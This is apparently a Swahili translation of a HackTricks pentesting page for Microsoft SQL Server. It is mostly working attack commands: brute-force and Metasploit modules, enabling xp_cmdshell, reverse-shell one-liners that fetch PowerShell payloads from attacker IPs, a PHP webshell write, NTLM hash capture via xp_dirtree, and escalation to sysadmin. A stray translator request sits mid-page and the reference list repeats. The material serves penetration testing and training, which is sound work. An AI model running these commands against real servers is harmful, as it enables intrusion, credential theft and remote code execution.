1433 - Pentesting MSSQL - Microsoft SQL Server

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Taarifa za Msingi

Kutoka wikipedia:

Microsoft SQL Server ni mfumo wa usimamizi wa hifadhidata za uhusiano uliotengenezwa na Microsoft. Kama seva ya hifadhidata, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kurejesha data kama inavyotakiwa na programu nyingine—ambazo zinaweza kuendeshwa kwenye kompyuta ile ile au kwenye kompyuta nyingine kupitia mtandao (pamoja na Intaneti).

Bandari ya chaguo-msingi: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

Kutua kwenye Imesimamiwa Database-as-a-Service (DBaaS)

Kila kitu kinachotegemea “owning the host” (mfano, privilege escalation, lateral movement, and OS command execution) kinakuwa haipo katika DBaaS. Pentesting katika mazingira haya lazima ibadilishe mkazo kwenda application-layer exploitation, data exfiltration via SQL logic, misconfigured IAM roles, au poor network/VPC design. Kwa mfano, the Amazon RDS documentation inaeleza wazi kwamba xp_cmdshell na the TRUSTWORTHY database property hazitumiiki.

Warning

Unapata endpoint ya database, si server. Mtoa huduma wa wingu anasimamia host OS, binary za database engine, na sera nyingi za usalama.

Jedwali za Mfumo za MS-SQL (Chaguo-msingi)

• master Database: Huu database ni muhimu kwani unarekodi taarifa zote za ngazi ya mfumo kwa instance ya SQL Server.
• msdb Database: SQL Server Agent hutumia database hii kusimamia scheduling kwa alerts na jobs.
• model Database: Hufanya kama blueprint kwa kila database mpya kwenye instance ya SQL Server, ambapo mabadiliko yoyote kama size, collation, recovery model, na mengine yameakisiwa kwa databases mpya zilizoundwa.
• Resource Database: Database inayosomeka tu ambayo ina system objects zinazokuja na SQL Server. Vitu hivi, wakati vikiwa vimetunzwa kimwili kwenye Resource database, huonyeshwa kimaana katika sys schema ya kila database.
• tempdb Database: Inatumika kama eneo la kuhifadhi kwa muda kwa transient objects au intermediate result sets.

Uorodheshaji

Uorodheshaji Otomatiki

If you don’t know anything about the service:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

Tip

Ikiwa huna credentials unaweza kujaribu kuyakisia. Unaweza kutumia nmap au metasploit. Tahadhari, unaweza kuzuia accounts ikiwa utashindwa ku-login mara kadhaa ukitumia username iliyopo.

Metasploit (need creds)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

Brute force

Uorodheshaji wa watumiaji kupitia RID Brute Force

Unaweza kuorodhesha domain users kupitia MSSQL kwa brute-forcing RIDs (Relative Identifiers). Mbinu hii inafaa unapo kuwa na valid credentials lakini limited privileges:

# Using NetExec (nxc) - formerly CrackMapExec
nxc mssql <IP> --local-auth -u <username> -p '<password>' --rid-brute 5000

# Examples:
nxc mssql 10.129.234.50 --local-auth -u sqlguest -p 'zDPBpaF4FywlqIv11vii' --rid-brute 5000
nxc mssql 10.10.10.59 -u sa -p 'P@ssw0rd' --rid-brute 10000

# Without --local-auth for domain accounts
nxc mssql 10.10.10.59 -u DOMAIN\\user -p 'password' --rid-brute 5000

Tafadhali tuma yaliyomo ya src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md ili niweze kutafsiri kwa Kiswahili.

[snippet]
MSSQL                    10.129.234.50   1433   DC               1104: REDELEGATE\Christine.Flanders
MSSQL                    10.129.234.50   1433   DC               1105: REDELEGATE\Marie.Curie
MSSQL                    10.129.234.50   1433   DC               1106: REDELEGATE\Helen.Frost
MSSQL                    10.129.234.50   1433   DC               1107: REDELEGATE\Michael.Pontiac
MSSQL                    10.129.234.50   1433   DC               1108: REDELEGATE\Mallory.Roberts
MSSQL                    10.129.234.50   1433   DC               1109: REDELEGATE\James.Dinkleberg
[snippet]

Vigezo:

• --local-auth: Tumia uthibitishaji wa ndani badala ya domain
• --rid-brute <max_rid>: Brute force RIDs hadi namba iliyotajwa (chaguo-msingi: 4000)
• -u: Username
• -p: Password

Mbinu hii itaorodhesha watumiaji kwa kuuliza seva ya MSSQL kwa taarifa za akaunti zinazohusiana na RIDs mfululizo.

Uorodheshaji kwa mkono

Kuingia

MSSQLPwner

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

Enumeration ya kawaida

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

#Enumerate links
enum_links
#Use a link
use_link [NAME]

Pata Mtumiaji

Types of MSSQL Users

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

Pata Ruhusa

1. Securable: Imefafanuliwa kama rasilimali zinazosimamiwa na SQL Server kwa udhibiti wa ufikiaji. Zinagawanywa katika:

• Server – Mifano ni pamoja na databases, logins, endpoints, availability groups, na server roles.
• Database – Mifano ni database role, application roles, schema, certificates, full text catalogs, na users.
• Schema – Inajumuisha tables, views, procedures, functions, synonyms, n.k.

2. Permission: Inahusishwa na securables za SQL Server; ruhusa kama ALTER, CONTROL, na CREATE zinaweza kutolewa kwa principal. Usimamizi wa ruhusa hufanyika katika ngazi mbili:

• Server Level kwa kutumia logins
• Database Level kwa kutumia users

3. Principal: Neno hili linarejea kiumbe anayepatiwa ruhusa ya kufikia securable. Principals kwa kawaida ni logins na database users. Udhibiti wa ufikiaji wa securables hufanyika kwa kutoa au kukataa ruhusa, au kwa kuhusisha logins na users katika roles zenye haki za ufikiaji.

# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

Mbinu

Endesha Amri za OS

Caution

Kumbuka kwamba ili kuweza kutekeleza amri si tu lazima xp_cmdshell imewezeshwa, bali pia ni lazima uwe na EXECUTE permission on the xp_cmdshell stored procedure. Unaweza kupata ni nani (isipokuwa sysadmins) anaweza kutumia xp_cmdshell kwa:

Use master
EXEC sp_helprotect 'xp_cmdshell'

# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

MSSQLPwner

# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

Ukusanyaji wa SQL wa mbali unaotegemea WMI (sqlcmd + CSV export)

Waendeshaji wanaweza kupinduka kutoka tabaka la IIS/app kwenda SQL Servers kwa kutumia WMI kutekeleza batch ndogo inayothibitisha kwa MSSQL na kuendesha maswali ya ad‑hoc, ikihamisha matokeo kwa CSV. Hii inafanya ukusanyaji kuwa rahisi na kuoanisha na shughuli za admin.

Mfano mssq.bat

@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"

Iite kwa mbali kwa kutumia WMI

wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"

Mbadala wa PowerShell

$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd

Vidokezo

• sqlcmd inaweza kukosekana; tumia osql, PowerShell Invoke-Sqlcmd, au a one‑liner using System.Data.SqlClient.
• Tumia nukuu kwa uangalifu; queries ndefu/kompleks ni rahisi zaidi kuzitoa kupitia faili au Base64‑encoded argument decoded inside the batch/PowerShell stub.
• Exfil the CSV via SMB (e.g., copy from \SQLHOST\C$\Windows\Temp) au compress na uhamishe kupitia C2 yako.

Pata nywila zilizosimbwa

SELECT * FROM master.sys.syslogins;

Kuiba NetNTLM hash / Relay attack

Unapaswa kuanzisha SMB server ili kukamata hash inayotumika katika uthibitishaji (impacket-smbserver au responder kwa mfano).

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Warning

Unaweza kuangalia nani (mbali na sysadmins) ana ruhusa za kuendesha hizi funksioni za MSSQL kwa:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

Kwa kutumia zana kama responder au Inveigh inawezekana steal the NetNTLM hash.
Unaweza kuona jinsi ya kutumia zana hizi katika:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Kutumia vibaya MSSQL trusted Links

Read this post kupata maelezo zaidi kuhusu jinsi ya kutumia vibaya kipengele hiki:

MSSQL AD Abuse

Kuandika Faili

Kuandika faili kwa kutumia MSSQL, tunahitaji kuwezesha Ole Automation Procedures, ambayo inahitaji ruhusa za admin, kisha kutekeleza baadhi ya stored procedures ili kuunda faili:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Soma faili kwa OPENROWSET

Kwa chaguo-msingi, MSSQL inaruhusu kusoma faili yoyote kwenye mfumo wa uendeshaji ambao akaunti ina ruhusa ya kusoma. Tunaweza kutumia query ya SQL ifuatayo:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Hata hivyo, chaguo la BULK linahitaji ruhusa ya ADMINISTER BULK OPERATIONS au ADMINISTER DATABASE BULK OPERATIONS.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

Njia inayotegemea makosa kwa SQLi:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/Kusoma faili kwa kutekeleza scripts (Python and R)

MSSQL inaweza kukuruhusu kutekeleza scripts in Python and/or R. Msimbo huu utatekelezwa na mtumiaji tofauti kuliko yule anayetumia xp_cmdshell kutekeleza amri.

Mfano ukijaribu kutekeleza ‘R’ “Hellow World!” haifanyi kazi:

Mfano ukitumia python iliyosanidiwa kutekeleza vitendo kadhaa:

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Kusoma Registry

Microsoft SQL Server hutoa multiple extended stored procedures zinazokuruhusu kuingiliana si tu na network bali pia na file system na hata the Windows Registry:

# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

Kwa mifano zaidi angalia original source.

RCE with MSSQL User Defined Function - SQLHttp

Inawezekana kupakia .NET dll ndani ya MSSQL kwa kutumia custom functions. Hata hivyo, hii inahitaji dbo access hivyo unahitaji muunganisho na database kama sa au jukumu la Administrator.

Following this link ili kuona mfano.

RCE with autoadmin_task_agents

Kulingana to this post, pia inawezekana kupakia dll ya mbali na kufanya MSSQL kuiendesha kwa kitu kama:

update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";

Kwa:

using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{

Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}

public override void DoWork()
{

}

public override void ExternalJob(string command, LogBaseService jobLogger)
{

}

public override void Start(IServicesFactory services)
{

}

public override void Stop()
{

}


public void Test()
{

}
}
}

Njia nyingine za RCE

Kuna mbinu nyingine za kupata utekelezaji wa amri, kama vile kuongeza extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, na external scripts.

MSSQL Privilege Escalation

From db_owner to sysadmin

Iwapo mtumiaji wa kawaida atapewa jukumu la db_owner juu ya hifadhidata inayomilikiwa na mtumiaji admin (kama sa) na hifadhidata hiyo imewekwa kama trustworthy, mtumiaji huyo anaweza kutumia vibali hivi vibaya ili privesc kwa sababu stored procedures zilizoundwa hapo zinaweza execute kama mwenye milki (admin).

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

Unaweza kutumia moduli ya metasploit:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

Au PS script:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

Kuiga watumiaji wengine

SQL Server ina ruhusa maalum, inayoitwa IMPERSONATE, ambayo inamruhusu mtumiaji anayeendesha kuchukua ruhusa za mtumiaji mwingine au login hadi muktadha urejeshwe au kikao kiishe.

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]

Tip

Ikiwa unaweza impersonate user, hata kama si sysadmin, unapaswa kuangalia ikama user ana access kwa databases nyingine au linked servers.

Kumbuka kwamba mara tu unapokuwa sysadmin unaweza impersonate mtu mwingine yeyote:

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

Unaweza kutekeleza shambulio hili kwa moduli ya metasploit:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

au kwa PS script:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

Kutumia MSSQL kwa Udumu

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

Kutoa passwords kutoka kwa SQL Server Linked Servers

Mshambuliaji anaweza kutoa passwords za SQL Server Linked Servers kutoka kwa SQL Instances na kuzipata kwa maandishi wazi, kumpa mshambuliaji passwords ambazo zinaweza kutumika kupata msimamo mkubwa kwenye lengo. Script ya kutoa na ku-decrypt passwords zilizohifadhiwa kwa Linked Servers inapatikana here

Baadhi ya mahitaji na usanidi lazima yafanyike ili exploit hii ifanye kazi. Kwanza kabisa, lazima uwe na haki za Administrator kwenye mashine, au uwezo wa kusimamia Configurations za SQL Server.

Baada ya kuthibitisha ruhusa zako, unahitaji kusanidi vitu vitatu, ambavyo ni vifuatavyo:

1. Wezesha TCP/IP kwenye SQL Server instances;
2. Ongeza Start Up parameter, katika kesi hii, trace flag itiongezwa, ambayo ni -T7806.
3. Wezesha remote admin connection.

Ili kuendesha kazi hizi kiotomatiki, this repository ina scripts zinazohitajika. Mbali na kuwa na powershell script kwa kila hatua ya usanidi, repository pia ina script kamili inayochanganya scripts za usanidi na uondoaji na ku-decrypt kwa passwords.

Kwa habari zaidi, rejea viungo vifuatavyo kuhusu shambulio hili: Decrypting MSSQL Database Link Server Passwords

Troubleshooting the SQL Server Dedicated Administrator Connection

Local Privilege Escalation

Mtumiaji anayesimamia MSSQL server atakuwa na token ya kibali SeImpersonatePrivilege.
Huenda utaweza escalate to Administrator ukifuata moja ya hizi kurasa mbili:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

JuicyPotato

Shodan

• port:1433 !HTTP

Marejeo

• Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd

• https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users

• https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/

• https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/

• https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/

• https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/

• https://mayfly277.github.io/posts/GOADv2-pwning-part12/

• https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp

• https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users

• https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/

• https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/

• https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/

• https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/

• https://mayfly277.github.io/posts/GOADv2-pwning-part12/

• https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp

Amri za Otomatiki za HackTricks

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

Tip

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